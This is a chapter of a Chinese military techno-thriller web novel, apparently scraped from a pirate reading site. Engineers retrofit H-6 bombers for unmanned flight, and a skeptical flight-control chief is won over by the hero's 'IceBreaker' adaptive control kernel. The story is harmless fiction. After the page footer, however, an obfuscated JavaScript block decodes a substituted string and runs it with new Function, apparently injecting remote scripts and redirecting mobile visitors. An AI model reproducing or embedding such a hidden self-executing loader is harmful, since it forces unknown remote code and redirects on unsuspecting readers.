首页
第173章 不可能!绝对不可
返回
关灯 护眼:关 字号:小

第173章 不可能!绝对不可能!

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    “我操!字母表真不够用了!”
    西飞一号总装机库里,赵鹏一脚踹在工具箱上,发出一声巨响,手里的设计图纸被他捏得咯吱作响。
    他布满血丝的眼睛,扫过眼前堪称“轰炸机坟场”的壮观景象。
    十二架!
    整整十二架不同型号的轰-6,从最新的轰-6K到压箱底的老爷机,占据了机库的每一个角落。
    “那边那架,负责挂‘许氏’吊舱,内部要加固,咱们暂定代号‘轰-6Z’,电磁侦察的‘侦’!”
    “中间那架,负责撒环境传感器,要飞在‘靶机’后面,测数据,代号‘轰-6Y’,远程遥测的‘遥’!”
    “还有那架!许顾问说要改成电子干扰机,在焦点区外围模拟‘狐蝠’的信号,妈的,代号‘轰-6D’!”
    赵鹏像个疯了的包工头,指点江山,唾沫横飞。
    他身后一群年轻的设计师,一个个顶着黑眼圈,头发乱得像鸟窝。
    手里不是拿着扳手就是抱着笔记本,表情介于“打了鸡血”和“即将猝死”之间。
    军迷圈流传了几十年的老梗,在今天,在此刻成了血淋淋的现实。
    为了满足许燃的年轻人的各种变态要求,他们真的快把二十六个英文字母用完了。
    “赵工,飞控所的孙总工来了,脸黑得跟锅底似的。”
    一个助理凑过来,小声汇报。
    “来就来!天王老子来了也得等着!”
    赵鹏现在天不怕地不怕,他唯一的“神”就坐在不远处临时搭建的玻璃房里。
    玻璃房内,许燃正安静地看着一台笔记本电脑。
    屏幕上,是整个“天眼”计划的作战空域三维模型。
    无数条代表电磁波束的彩色线条,从地面不同的雷达阵列射出,最终汇聚于万米高空的一点,构成了一个绚烂的能量奇点。
    在他的身边,坐着西飞总设计师刘建国,和一位面色铁青,穿着一身蓝色工装,五十多岁的中年人。
    他就是飞控所的孙建业总工程师。
    “许顾问,刘总,”
    孙建业的开场白没有半句客套,直接把一份文件拍在桌上,“你们的要求,我看了。
    我明确告诉你们——不可能!”
    刘建国眉头一皱:“老孙,怎么就不可能了?让你改个飞控,又不是让你重新造飞机。”
    “改个飞控?!”
    孙建业像是被踩了尾巴的猫,瞬间炸毛了。
    他指着窗外巨大的轰炸机,音调都拔高了八度,“刘建我,你摸着良心说,那是飞机吗?
    那是一头一百多吨重的,长了翅膀的铁猪!
    你现在让我把驾驶员撤了,让它自己飞?
    还他妈要飞进雷暴中心一样的电磁区?!”
    他喘了口粗气,双手叉腰,像一头被激怒的公牛。
    “我告诉你这玩意儿有多难!
    轰-6的气动设计是几十年前的老古董,低速下稳定性差,高空还有跨音速陷阱!
    平时靠的是两个经验丰富的飞行员,像驯兽师一样,手里攥着缰绳才把它捋顺了!”
    “现在你让我用代码去驯这头猛兽?
    我需要开发一套全新的、拥有几百万行代码的飞控系统!
    要考虑上千种气动姿态下的耦合变量!
    要进行几百次风洞试验,几千小时的模拟飞行!
    整个流程走下来,没有两年,门儿都没有!”
    孙建业一通咆哮,把所有技术难点像倒豆子一样全倒了出来。
    他说的是事实,是在场所有人都懂的工程学常识。
    给这种老旧纯机械操控的大型平台,开发一套能替代人脑的无人驾驶系统,难度不亚于给一辆拖拉机装上F1赛车的引擎,还要求它在秋名山跑赢AE86。
    会议室里,刘建国也哑火了。
    他端着茶杯,只觉得嘴里一阵苦涩。
    孙建业说得对,这事,确实强人所难。
    可时间不等人!
    他下意识地看向许燃,想从这个年轻人脸上看到一丝为难。
    然而,许燃脸上波澜不惊。
    等孙建业说完了,他才不紧不慢地抬起头,扶了扶眼镜,问出了一个让孙建业差点一口气没喘上来的问题。
    “孙总工,你的意思是,核心的困难,在于缺少一套能够实时处理复杂气动数据,并进行快速自适应姿态调整的飞控算法内核,对吗?”
    孙建业被他这轻描淡写的总结噎了一下,但还是咬着牙点了点头:“没错!就是这个意思!
    这套内核,全世界能写出来的都没几个!
    我们所里最新的项目,也才刚刚……”
    他的话没说完,就被许燃打断了。
    “哦,那应该就够了。”
    许燃平静地说着,转过自己的笔记本电脑,屏幕正对着孙建业。
    然后,他打开了一个文件夹,里面只有一个孤零零的压缩包。
    压缩包的名字很简单——
    《IceBreaker_Core_v3.0.zip》。
    “破冰者?”
    孙建业愣住了,他扭头看向刘建国,眼神里全是问号,“你们不是在搞电磁测试吗?怎么又扯到飞机除冰上去了?”
    不只是他,连刘建国都懵了。
    “许顾问,这是……”
    “我之前在国防科大做的高空无人机除冰系统的底层架构,改改应该能用!”许燃的解释云淡风轻。
    “我把它发给你,你让你的团队,别看外面那层应用接口,直接去看它的核心算法逻辑。
    看完,你再告诉我,够不够用。”
    说完,他便将压缩包通过内部局域网,直接发送到了飞控所的服务器上。
    孙建业将信将疑,满肚子狐疑。
    一个除冰软件的内核?
    能用来开轰炸机?
    你糊弄鬼呢!
    他气哼哼地站起身:“行!我倒要看看,你这里面到底卖的什么药!”
    说完,他便黑着脸,大步流星地走出了会议室,直奔飞控所设在西飞的临时数据中心。
    他身后的几个技术骨干,也赶紧跟了上去。
    会议室里,只剩下许燃和刘建国。
    刘建国看着许燃,张了张嘴,最后还是化为一声苦笑:“许顾问,你这……葫芦里到底装了多少神仙?”
    许燃没回答,只是重新转回电脑,继续优化他绚烂的“电磁焦点”模型。
    仿佛刚才发生的一切,不过是一段无关紧要的插曲。
    ……
    飞控所,临时数据中心。
    气氛压抑。
    孙建业抱着手臂,脸色铁青地站在主屏幕前,看着手下最得力的几个“金牌码农”解压压缩包。
    “什么玩意儿……”
    一个年轻的程序员小声嘀咕着,“一个除冰软件,核心文件竟然有2个G?里面塞了金子吗?”
    “少废话!赶紧分析架构!”孙建业吼了一嗓子。
    代码被迅速导入到分析工具中,数以百万计的逻辑结构铺满了整个屏幕。
    起初,所有人都带着一丝不屑。
    “这……这是它的流体动力学模块?写得倒是挺……挺工整的。”
    “咦?他这里用了一个卡尔曼滤波算法来预测机翼表面的温度梯度变化……有点意思。”
    可看着看着,所有人的表情,都开始变了。
    不屑和轻视,正在以肉眼可见的速度从他们脸上褪去,取而代之的是越来越深的困惑和震惊!
    “不对……不对劲!”
    负责主攻算法架构的组长,一个戴着厚底眼镜,三十多岁的技术大牛,猛地从椅子上站了起来。
    死死地盯着屏幕上的一段核心代码,像是见了鬼。
    “孙总!您快来看这里!”他的声音都在发颤。
    孙建业一个箭步冲了过去。
    “怎么了?一惊一乍的!”
    “您看这个模块!”
    组长指着一段被命名为“气动突变自适应补偿”的函数库,手指都在哆嗦,“他……他在这里建立了一个非线性的神经网络模型!
    这个模型,好像根本不是在简单地预测冰层?
    它……它是在实时模拟机翼表面因为结冰,而导致的……气动外形突变!”
    孙建业的瞳孔,骤然收缩!
    还没等他反应过来,另一个工位上负责硬件接口的工程师也尖叫起来。
    “我操!孙总!这边!快看这边!”
    他指着一段看似平平无奇的舵面控制逻辑代码,声音都破了音。
    “这个除冰系统,它竟然有权限……直接接管飞机的副翼和升降舵!
    它……它能在发现结冰导致飞机姿态不稳的瞬间,自动进行……进行微秒级的舵面补偿!!”
    轰!!!
    孙建业只觉得眼前一黑,整个大脑都“嗡”的一声,一片空白!
    一个让他遍体生寒的念头,不受控制地从他心底冒了出来!
    他猛地推开挡在身前的人,双手撑在控制台上死死地盯着代码的核心,浑浊的眼睛里充满了见鬼一般的骇然!
    看懂了。
    他终于看懂了!
    什么狗屁的除冰系统!
    这玩意儿的内核,根本就不是为了除冰!
    除冰,只是这个恐怖系统用来“练手”的一个应用场景!
    它的真正目的,是构建一个可以处理任何“飞行器气动外形突变”情况下的,超高鲁棒性的……自适应飞行控制系统!
    结冰是一种“突变”。
    被导弹击中,掉了一边翅膀,是不是“突变”?
    飞入高强度湍流,机身发生剧烈抖振,是不是“突变”?
    他们飞控所,耗费了上亿经费,组织了上百名专家,正在秘密攻关的,代表着国家下一代战机核心竞争力的“战损飞控”项目……
    其最核心最前沿的理论思想,竟然……跟眼前这个“除冰软件”,一模一样!
    不!
    不是一模一样!
    是眼前这个软件的算法架构,比他们那个还在PPT和实验室里挣扎的项目,更简洁!更优雅!更先进!
    孙建业的身体晃了晃,他扶住身后的椅子,才勉强没有倒下。
    感觉自己的脸火辣辣地疼,像是被人用鞋底子左右开弓,抽了上百个耳光!
    他想起了自己一个小时前,在会议室里说的那些话。
    “不可能!”
    “没有两年门儿都没有!”
    现在回想起来,那是……井底之蛙的可笑嘶鸣!
    他看着屏幕上署名为“XuRan”的软件,嘴唇哆嗦着喃喃自语。
    “妖孽……这他妈……真是个妖孽啊……”
    一个小时后。
    孙建业失魂落魄地走回了那间玻璃会议室。
    他没有看刘建国,而是径直走到许燃面前,对着依旧在看电脑的年轻人,“许顾问,我错了。”
    这位在飞控领域执掌牛耳,脾气火爆得全院闻名的总工程师,此刻像个犯了错的小学生,声音沙哑充满了羞愧。
    服了!
    心服口服!
    他看着许燃说道:“那个……那个内核,我们适配到轰-6上,最多……最多一个月!”
    许燃终于从电脑前抬起了头,他看了一眼墙上的时钟,皱了皱眉。
    “太慢了。”
    孙建业:“……”
    他只觉得喉头一甜,一口老血差点喷出来。
    ……
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();